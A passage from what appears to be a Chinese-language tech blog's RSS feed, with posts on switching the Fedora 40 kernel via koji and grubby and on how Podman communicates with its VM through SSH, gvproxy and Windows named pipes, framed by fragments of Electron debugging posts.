    frame #48: 0x00000001116bea7c Electron Framework`base::TaskAnnotator::RunTaskImpl(base::PendingTask&amp;amp;) [inlined] base::OnceCallback&amp;lt;void ()&amp;gt;::Run(this=0x0000013c00261078) &amp;amp;&amp;amp; at callback.h:156:12 [opt]
    frame #49: 0x00000001116bea64 Electron Framework`base::TaskAnnotator::RunTaskImpl(this=&amp;lt;unavailable&amp;gt;, pending_task=0x0000013c00261000) at task_annotator.cc:203:34 [opt]
    frame #50: 0x00000001116d8f5c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [inlined] void base::TaskAnnotator::RunTask&amp;lt;base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_0&amp;gt;(this=&amp;lt;unavailable&amp;gt;, event_name=&amp;lt;unavailable&amp;gt;, pending_task=0x0000013c00261000, args=&amp;lt;unavailable&amp;gt;) at task_annotator.h:90:5 [opt]
    frame #51: 0x00000001116d8f3c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(this=0x0000013c00080000, continuation_lazy_now=0x000000016b0518c8) at thread_controller_with_message_pump_impl.cc:473:23 [opt]
    frame #52: 0x00000001116d956c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [inlined] base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(this=0x0000013c00080000) at thread_controller_with_message_pump_impl.cc:338:40 [opt]
    frame #53: 0x00000001116d952c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() at thread_controller_with_message_pump_impl.cc:0 [opt]
    frame #54: 0x000000011168056c Electron Framework`base::MessagePumpDefault::Run(this=0x0000013c00060440, delegate=0x0000013c000800e8) at message_pump_default.cc:40:55 [opt]
    frame #55: 0x00000001116d9bd4 Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(this=0x0000013c00080000, application_tasks_allowed=true, timeout=&amp;lt;unavailable&amp;gt;) at thread_controller_with_message_pump_impl.cc:641:12 [opt]
    frame #56: 0x00000001116a4f04 Electron Framework`base::RunLoop::Run(this=0x000000016b051b10, location=&amp;lt;unavailable&amp;gt;) at run_loop.cc:134:14 [opt]
    frame #57: 0x00000001110e24c4 Electron Framework`content::UtilityMain(parameters=&amp;lt;unavailable&amp;gt;) at utility_main.cc:439:12 [opt]
    frame #58: 0x000000010e6ef7e4 Electron Framework`content::RunOtherNamedProcessTypeMain(process_type=&amp;lt;unavailable&amp;gt;, main_function_params=MainFunctionParams @ 0x000000016b051dd0, delegate=0x000000016b0521f0) at content_main_runner_impl.cc:775:14 [opt]
    frame #59: 0x000000010e6f04e0 Electron Framework`content::ContentMainRunnerImpl::Run(this=0x00000128002e0280) at content_main_runner_impl.cc:1150:10 [opt]
    frame #60: 0x000000010e6eee84 Electron Framework`content::RunContentProcess(params=&amp;lt;unavailable&amp;gt;, content_main_runner=&amp;lt;unavailable&amp;gt;) at content_main.cc:331:36 [opt]
    frame #61: 0x000000010e6ef048 Electron Framework`content::ContentMain(params=ContentMainParams @ 0x000000016b052178) at content_main.cc:344:10 [opt]
    frame #62: 0x000000010e3c852c Electron Framework`ElectronMain(argc=&amp;lt;unavailable&amp;gt;, argv=&amp;lt;unavailable&amp;gt;) at electron_library_main.mm:26:10 [opt]
    frame #63: 0x0000000104daca50 OOMOL Studio Helper (Plugin)`main(argc=20, argv=0x000000016b0524f0) at electron_main_mac.cc:84:10 [opt]
    frame #64: 0x000000018021b154 dyld`start + 2476
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>electron</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>切换 Fedora(40) 内核</title><link>https://bugs.cc/zh/posts/switch-kernel-for-fedora40/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/switch-kernel-for-fedora40/</guid><description>前几天我从 Fedora 39 升级到了 Fedora 40，但是在升级后，我的 VirtualBox 无法正常启动了，提示我的 kernel 和 kernel-header 版本不匹配。</description><pubDate>Sat, 11 May 2024 06:08:23 GMT</pubDate><content:encoded>&lt;p&gt;前几天我从 Fedora 39 升级到了 Fedora 40，但是在升级后，我的 &lt;code&gt;VirtualBox&lt;/code&gt; 无法正常启动了，提示我的 &lt;code&gt;kernel&lt;/code&gt; 和 &lt;code&gt;kernel-header&lt;/code&gt; 版本不匹配。&lt;/p&gt;
&lt;p&gt;通过 &lt;code&gt;uname -r&lt;/code&gt; 和 &lt;code&gt;dnf list --installed | grep &quot;kernel-headers&quot;&lt;/code&gt; 得知我的版本为:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kernel&lt;/code&gt;: &lt;em&gt;6.8.8-300.fc40.x86_64&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kernel-headers&lt;/code&gt;: &lt;em&gt;6.8.3-300.fc40.x86_64&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;于是我尝试通过 &lt;code&gt;sudo dnf install kernel-headers-$(uname -r)&lt;/code&gt; 来安装对应版本的 &lt;code&gt;kernel-headers&lt;/code&gt;，但是发现没有对应的版本。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/switch-kernel-for-fedora40/#user-content-fn-headers-version&quot; id=&quot;user-content-fnref-headers-version&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;所以我决定降级 &lt;code&gt;kernel&lt;/code&gt; 版本，以便于安装对应版本的 &lt;code&gt;kernel-headers&lt;/code&gt;。经过一番查找，我确认了 &lt;code&gt;kernel&lt;/code&gt; 版本 &lt;code&gt;6.8.3-300.fc40&lt;/code&gt; 的存在。
但是无法通过 &lt;code&gt;sudo dnf install kernel-6.8.3-300.fc40.x86_64&lt;/code&gt; 来安装，因为 &lt;code&gt;dnf&lt;/code&gt; 会提示我没有这个版本。&lt;/p&gt;
&lt;p&gt;最终在 &lt;a href=&quot;https://discussion.fedoraproject.org/t/how-do-i-install-an-old-kernel/76942/3&quot;&gt;discussion.fedoraproject&lt;/a&gt; 找到了相关的描述，可以通过 &lt;a href=&quot;https://bodhi.fedoraproject.org/updates/?packages=kernel&amp;amp;release=F40&quot;&gt;Fedora Updates System For F40&lt;/a&gt; 来确认自己需要安装的 &lt;code&gt;kernel&lt;/code&gt; 版本是否存在，然后通过 &lt;code&gt;koji download-build --arch=x86_64 &amp;lt;package name&amp;gt;&lt;/code&gt; 来进行安装，示例如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir kernel-downloads
cd kernel-downloads
koji download-build --arch=x86_64 kernel-6.8.3-300.fc40
sudo dnf install ./kernel-*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装完成后，我们需要切换到对应的 &lt;code&gt;kernel&lt;/code&gt; 版本上。此时可以使用 &lt;code&gt;sudo grubby --info=ALL&lt;/code&gt; 来查看当前系统的 &lt;code&gt;kernel&lt;/code&gt; 列表。并记录下你想切换的 &lt;code&gt;index&lt;/code&gt; 和 &lt;code&gt;kernel&lt;/code&gt; 字段。如:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/switch-kernel-for-fedora-40/grubby-info-all.png&quot; alt=&quot;Grubby info all&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后先临时切换到这个 &lt;code&gt;kernel&lt;/code&gt; 上，以便检测是否正常工作&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/switch-kernel-for-fedora40/#user-content-fn-grub-reboot&quot; id=&quot;user-content-fnref-grub-reboot&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo grub2-reboot &quot;3&quot;
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果没有问题，我们可以将这个 &lt;code&gt;kernel&lt;/code&gt; 设置为默认值:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo grubby --set-default /boot/vmlinuz-6.8.3-300.fc40.x86_64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再检查一下是否设置成功:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo grubby --default-kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在起，我们的系统将默认使用 &lt;code&gt;6.8.3-300.fc40&lt;/code&gt; 版本的 &lt;code&gt;kernel&lt;/code&gt;。直到下次执行了 &lt;code&gt;dnf update&lt;/code&gt; 或者手动切换到其他版本。&lt;/p&gt;
&lt;p&gt;Reference:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://discussion.fedoraproject.org/t/how-do-i-install-an-old-kernel/76942/3&quot;&gt;https://discussion.fedoraproject.org/t/how-do-i-install-an-old-kernel/76942/3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://knowledgebase.frame.work/en_us/change-default-fedora-kernel-H1Jnv0n6&quot;&gt;https://knowledgebase.frame.work/en_us/change-default-fedora-kernel-H1Jnv0n6&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-headers-version&quot;&gt;
&lt;p&gt;这一点在 &lt;a href=&quot;https://src.fedoraproject.org/rpms/kernel&quot;&gt;fedoraproject/rpms/kernel&lt;/a&gt; 和 &lt;a href=&quot;https://src.fedoraproject.org/rpms/kernel-headers&quot;&gt;fedoraproject/rpms/kernel-headers&lt;/a&gt; 中也可以得到验证，Fedora 40 目前最新的 &lt;code&gt;kernel-headers&lt;/code&gt; 版本为 &lt;code&gt;6.8.3-300.fc40&lt;/code&gt;。 &lt;a href=&quot;https://bugs.cc/zh/posts/switch-kernel-for-fedora40/#user-content-fnref-headers-version&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-grub-reboot&quot;&gt;
&lt;p&gt;上面的命令将在下次重启时切换到 &lt;code&gt;index&lt;/code&gt; 为 &lt;code&gt;3&lt;/code&gt; 的 &lt;code&gt;kernel&lt;/code&gt; 上（只生效一次）。 &lt;a href=&quot;https://bugs.cc/zh/posts/switch-kernel-for-fedora40/#user-content-fnref-grub-reboot&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>fedora</category><category>kernel</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Podman 基本原理及通信机制</title><link>https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/</guid><description>介绍 Podman 如何和容器通信</description><pubDate>Mon, 07 Aug 2023 10:21:14 GMT</pubDate><content:encoded>&lt;p&gt;Podman 是 daemonless 的开源容器引擎，相比 Docker 而言，Podman 不需要运行守护进程，而是直接通过 libpod 库来管理容器，这样就可以避免 Docker 的一些安全问题，比如 Docker 的守护进程需要 root 权限，而 Podman 可以通过普通用户来管理容器。&lt;/p&gt;
&lt;h2&gt;简要架构 {#architecture}&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;podman&lt;/code&gt; 分为两部分，一部分是 &lt;code&gt;podman client&lt;/code&gt;，另一部分是 &lt;code&gt;libpod&lt;/code&gt; 库，可以简单理解为前端和后端，所有和容器相关的操作都是通过 &lt;code&gt;libpod&lt;/code&gt; 库来实现的。&lt;code&gt;podman client&lt;/code&gt; 所做的事情就是将用户的命令通过请求发送给 &lt;code&gt;libpod&lt;/code&gt; 来进行操作。&lt;/p&gt;
&lt;p&gt;值得注意的是，&lt;code&gt;libpod&lt;/code&gt; 只有 Linux 架构的版本，所以 &lt;code&gt;libpod&lt;/code&gt; 只能在 linux 系统下运行。至于如何在 Windows 和 MacOS 上运行可以见下一节。&lt;/p&gt;
&lt;h2&gt;Machine&lt;/h2&gt;
&lt;p&gt;在 podman 中有一个 machine 的命令，用于启动一个 &lt;strong&gt;Linux 虚拟机&lt;/strong&gt;，来运行容器，这样就可以避免在 podman 中直接运行容器时，需要 root 权限的问题。&lt;/p&gt;
&lt;p&gt;目前 &lt;code&gt;podman&lt;/code&gt; 支持4种虚拟机类型:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;qemu&lt;/li&gt;
&lt;li&gt;applehv&lt;/li&gt;
&lt;li&gt;hyperv&lt;/li&gt;
&lt;li&gt;wsl2&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在 Linux 系统下，machine 命令是可选的，但是在 Windows 和 MacOS 系统下，&lt;code&gt;machine&lt;/code&gt; 命令是必须的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Windows&lt;/em&gt; 上，虚拟机类型默认是: &lt;code&gt;wsl2&lt;/code&gt;，&lt;code&gt;hyperv&lt;/code&gt; 是可选的&lt;/li&gt;
&lt;li&gt;&lt;em&gt;MacOS&lt;/em&gt; 上，虚拟机类型是: &lt;code&gt;qemu&lt;/code&gt;，&lt;code&gt;applehv&lt;/code&gt; 目前还在开发中（截止到 2023.08）&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Linux&lt;/em&gt; 上，如果启动虚拟机，则虚拟机类型是: &lt;code&gt;qemu&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;值得一提的是，由 &lt;code&gt;machine&lt;/code&gt; 启动的虚拟机系统是 Fedora Linux。
并且 &lt;code&gt;machine&lt;/code&gt; 命令会自动下载 Fedora Linux 的镜像，所以第一次运行 &lt;code&gt;podman machine init&lt;/code&gt; 时，会比较慢（可以事先手动下载，并通过 &lt;code&gt;--image-path&lt;/code&gt; 参数进行指定）。
如果在使用 &lt;code&gt;init&lt;/code&gt; 命令，并且没有指定 &lt;code&gt;--image-path&lt;/code&gt; 时，&lt;code&gt;podman&lt;/code&gt; 每次都会去尝试下载最新的 &lt;code&gt;Fedora&lt;/code&gt; 镜像，关于这一点，规则如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果本地有缓存，并且和最新的镜像一致，则不会下载&lt;/li&gt;
&lt;li&gt;缓存只保留一个版本，并且会在两周后删除。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Fedora Linux 中内置了 &lt;code&gt;podman&lt;/code&gt;，所以其实在 Windows 和 MacOS 系统里，你所运行的 &lt;code&gt;podman&lt;/code&gt; 命令其实都是通过 &lt;em&gt;gvp&lt;/em&gt; 或者 &lt;em&gt;ssh&lt;/em&gt; 连接到虚拟机里的 &lt;strong&gt;socket file&lt;/strong&gt;，通过 socket file 把请求转发给 &lt;code&gt;libpod&lt;/code&gt; 来进行处理。如下图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/podman-basic-principles-and-communication-mechanisms/podman-communication-arch.png&quot; alt=&quot;podman&quot;&gt;&lt;/p&gt;
&lt;p&gt;图中的 &lt;code&gt;podman remote&lt;/code&gt; 就是宿主机中的 &lt;code&gt;podman&lt;/code&gt; 命令，之所以这么写，是因为在 Windows 和 MacOS 下所运行的 &lt;code&gt;podman&lt;/code&gt; 都是 &lt;strong&gt;remote&lt;/strong&gt; 模式。（在 Linux 中，可以通过加入 &lt;code&gt;--remote&lt;/code&gt; 参数手动进入此模式）&lt;/p&gt;
&lt;h2&gt;通信 {#communication}&lt;/h2&gt;
&lt;p&gt;在上一节中的例图中，有一块是 &lt;code&gt;GVP / SSH&lt;/code&gt;，这是用来让宿主机和虚拟机互相通信的技术方案。在介绍 GVP 之前，需要先了解 SSH 通信原理，这会有助于理解 GVP。&lt;/p&gt;
&lt;h3&gt;SSH&lt;/h3&gt;
&lt;p&gt;当通过 &lt;code&gt;podman machine init&lt;/code&gt; 和 &lt;code&gt;podman machine start&lt;/code&gt; 来初始化并启动虚拟机时，podman 会在虚拟机中启动一个 ssh 服务。&lt;/p&gt;
&lt;p&gt;这时，可以通过 &lt;code&gt;podman system connection ls --format=json&lt;/code&gt; 命令查看连接信息&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fn-machine-root&quot; id=&quot;user-content-fnref-machine-root&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;，如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;[
    {
        &quot;Name&quot;: &quot;podman-machine-default&quot;,
        &quot;URI&quot;: &quot;ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock&quot;,
        &quot;Identity&quot;: &quot;/Users/black-hole/.ssh/podman-machine-default&quot;,
        &quot;IsMachine&quot;: true,
        &quot;Default&quot;: true
    },
    {
        &quot;Name&quot;: &quot;podman-machine-default-root&quot;,
        &quot;URI&quot;: &quot;ssh://root@127.0.0.1:65489/run/podman/podman.sock&quot;,
        &quot;Identity&quot;: &quot;/Users/black-hole/.ssh/podman-machine-default&quot;,
        &quot;IsMachine&quot;: true,
        &quot;Default&quot;: false
    }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从上面的信息中可以看到，URI 是：&lt;code&gt;ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock&lt;/code&gt;。这时我们就可以通过这个 &lt;em&gt;socket file&lt;/em&gt; 去连接到虚拟机中的 &lt;code&gt;libpod&lt;/code&gt; 服务。
podman 发送请求时，会先建立 ssh 连接，然后将请求通过 ssh 通道发送到虚拟机中。其实现简要代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;import (
	&quot;context&quot;
	&quot;fmt&quot;
	&quot;net&quot;
	&quot;net/http&quot;
	&quot;net/url&quot;

	&quot;github.com/containers/common/pkg/ssh&quot;
)

func main() {
	uri := &quot;ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock&quot;
	_url, _ := url.Parse(uri)
	conn, _ := ssh.Dial(&amp;amp;ssh.ConnectionDialOptions{
		Host:                        uri,
		Identity:                    &quot;/Users/black-hole/.ssh/podman-machine-default&quot;,
		User:                        _url.User,
		Port:                        65489,
		InsecureIsMachineConnection: false,
	}, &quot;golang&quot;)

	client := &amp;amp;http.Client{Transport: &amp;amp;http.Transport{DialContext: func(ctx context.Context, _, _ string) (net.Conn, error) {
		return ssh.DialNet(conn, &quot;unix&quot;, _url)
	}}}

	resp, _ := client.Get(&quot;http://d/v4.6.0/libpod/_ping&quot;)
	fmt.Println(resp.StatusCode)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种方式是 Windows 系统下的行为，而在 MacOS 系统下，默认行为是通过 &lt;em&gt;GVP&lt;/em&gt; 来实现的。&lt;/p&gt;
&lt;p&gt;在 Windows 系统中，所有 cli 涉及到容器/镜像的操作都是基于这种方式去做的。&lt;/p&gt;
&lt;h3&gt;GVP （gvisor-tap-vsock） {#gvp}&lt;/h3&gt;
&lt;p&gt;引入 GVP 的目的之一是为了解决每次都要通过 ssh 去连接虚拟机以及负责 API 转发的功能。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fn-gvp-daemon&quot; id=&quot;user-content-fnref-gvp-daemon&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;简要描述就是把宿主机中的 &lt;em&gt;socket file&lt;/em&gt; 流量转发到虚拟机中的 &lt;em&gt;socket file&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;首先 podman 会先在宿主机中创建一个 &lt;em&gt;socket file&lt;/em&gt;，然后在启动 &lt;em&gt;qemu&lt;/em&gt; 时，加入 &lt;code&gt;-qmp&lt;/code&gt; 参数，暴露 &lt;em&gt;qemu&lt;/em&gt; 的 &lt;em&gt;socket file&lt;/em&gt;，然后再通过 &lt;em&gt;GVP&lt;/em&gt; 技术将宿主机中的 &lt;em&gt;socket file&lt;/em&gt; 和 &lt;em&gt;qemu&lt;/em&gt; 中的 &lt;em&gt;socket file&lt;/em&gt; 进行绑定，这样就可以实现宿主机中的 &lt;em&gt;socket file&lt;/em&gt; 和虚拟机中的 &lt;em&gt;socket file&lt;/em&gt; 之间的通信。其命令简化如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;gvproxy -listen-qemu unix:///var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock -forward-sock /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock -forward-dest /run/user/502/podman/podman.sock

qemu-system-x86_64 -qmp unix:/var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock,server=on,wait=off -virtfs local,path=/var/folders,mount_tag=vol2,security_model=none
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;podman 在 MacOS 系统中还提供了 &lt;code&gt;podman-mac-helper&lt;/code&gt; 的可执行文件，并和 podman 一起打包在了 &lt;code&gt;pkg&lt;/code&gt; 安装包里。
当执行 &lt;code&gt;podman machine start&lt;/code&gt; 时，podman 会先检测是否有 &lt;code&gt;podman-mac-helper&lt;/code&gt;，如果存在，则会通过 &lt;code&gt;podman-mac-helper&lt;/code&gt; 来创建一个软链接: &lt;code&gt;/var/run/docker.sock&lt;/code&gt;，这个软连接指向的就是宿主机中的 &lt;em&gt;socket file&lt;/em&gt;。&lt;/p&gt;
&lt;h2&gt;API 转发 {#api-forwarding}&lt;/h2&gt;
&lt;p&gt;在开始之前，可以先思考一下，如何在你的程序里调用 podman api？&lt;/p&gt;
&lt;h3&gt;MacOS&lt;/h3&gt;
&lt;p&gt;在 MacOS 中可以执行: &lt;code&gt;export DOCKER_HOST=&apos;unix:///Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock&apos;&lt;/code&gt; 来让后续的 podman 命令都通过本地的 &lt;em&gt;socket file&lt;/em&gt; 通信。&lt;/p&gt;
&lt;p&gt;以及也可以使用这个 &lt;em&gt;socket file&lt;/em&gt; 进行 API 调用，如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;curl --unix-socket /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock http://d/v4.6.0/libpod/_ping
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;首先，在 Windows 系统下，是没有 &lt;em&gt;socket file&lt;/em&gt; 的概念的。但是 API 调用又非常重要，为了解决这一问题，podman 团队提供了一个 &lt;code&gt;win-sshproxy.exe&lt;/code&gt; 的可执行文件，这个文件是用来转发 API 请求的。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;win-sshproxy&lt;/em&gt; 的基本原理是通过 Windows 的 &lt;code&gt;Named Pipe&lt;/code&gt;（命名管道）创建一个双工管道（duplex pipe）来实现的，可以将其简单的理解为 &lt;em&gt;socket file&lt;/em&gt;。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fn-winsshproxy-daemon&quot; id=&quot;user-content-fnref-winsshproxy-daemon&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;win-sshproxy&lt;/em&gt; 创建 &lt;code&gt;Named Pipe&lt;/code&gt; 源码十分简单，如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Allow built-in admins and system/kernel components
const SddlDevObjSysAllAdmAll = &quot;D:P(A;;GA;;;SY)(A;;GA;;;BA)&quot;

func ListenNpipe(socketURI *url.URL) (net.Listener, error) {
	user, _ := user.Current()

	// Also allow current user
	sddl := fmt.Sprintf(&quot;%s(A;;GA;;;%s)&quot;, SddlDevObjSysAllAdmAll, user.Uid)
	config := winio.PipeConfig{
		SecurityDescriptor: sddl,
		MessageMode:        true,
		InputBufferSize:    65536,
		OutputBufferSize:   65536,
	}
	path := strings.Replace(socketURI.Path, &quot;/&quot;, &quot;\\&quot;, -1)
    return winio.ListenPipe(path, &amp;amp;config)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建完 &lt;em&gt;Named Pipe&lt;/em&gt; 后，&lt;em&gt;win-sshproxy&lt;/em&gt; 将会启动一个 &lt;em&gt;ssh&lt;/em&gt; 连接，并和 &lt;em&gt;Named Pipe&lt;/em&gt; 进行绑定，绑定的逻辑也十分简单，如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func main() {
    complete := new(sync.WaitGroup)
	complete.Add(2)
    go forward(ssh, namedPipe, complete)
	go forward(namedPipe, ssh, complete)

	go func() {
		complete.Wait()
		ssh.Close()
		namedPipe.Close()
	}()
}

func forward(src io.ReadCloser, dest CloseWriteStream, complete *sync.WaitGroup) {
	defer complete.Done()
	_, _ = io.Copy(dest, src)

	// 让另一端的 io.Copy() 退出
	_ = dest.CloseWrite()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自此，宿主机就可以通过 &lt;em&gt;Named Pipe&lt;/em&gt; 来转发 API 请求。如下方的 js 代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;require(&apos;http&apos;).get({
    hostname: &apos;d&apos;,
    path: &apos;/v4.6.0/libpod/_ping&apos;,
    socketPath: &apos;//./pipe/docker_engine&apos;,
}, res =&amp;gt; {
    console.log(`statusCode: ${res.statusCode}`)
    res.destroy();
}).end();
&lt;/code&gt;&lt;/pre&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-machine-root&quot;&gt;
&lt;p&gt;其中 &lt;em&gt;podman-machine-default-root&lt;/em&gt; 用于以 root 权限访问虚拟机，但一般而言，我们都是以普通用户的身份访问虚拟机，所以这里只关注 &lt;em&gt;podman-machine-default&lt;/em&gt; 即可。 &lt;a href=&quot;https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fnref-machine-root&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-gvp-daemon&quot;&gt;
&lt;p&gt;需要注意的是，GVP 是常驻进程。 &lt;a href=&quot;https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fnref-gvp-daemon&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-winsshproxy-daemon&quot;&gt;
&lt;p&gt;为了让其可以正常工作，此进程是需要常驻。 &lt;a href=&quot;https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/#user-content-fnref-winsshproxy-daemon&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 3&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>podman</category><category>linux</category><category>gvp</category><category>container</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>构建 / 调试 Electron 源码</title><link>https://bugs.cc/zh/posts/build-and-debug-electron-code/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/build-and-debug-electron-code/</guid><description>如何构建和调试 Electron 源码</description><pubDate>Tue, 21 Sep 2021 08:06:11 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;需要注意的是，本文使用的是 &lt;code&gt;CLion&lt;/code&gt; IDE 以及 &lt;code&gt;macOS&lt;/code&gt; 系统&lt;/p&gt;
&lt;p&gt;其他 IDE 和 系统也可以根据本文思路进行调整&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;目前 &lt;em&gt;electron&lt;/em&gt; 官方的 构建文档存在一些问题，当你完全按照文档上去做的时候，你会发现无法进行调试。
其表现就是在使用&lt;code&gt;LLDB&lt;/code&gt; 时，无法看到当前 &lt;code&gt;frame&lt;/code&gt; 下的变量信息和上下文。就像下图一样:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/lldb-variables-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
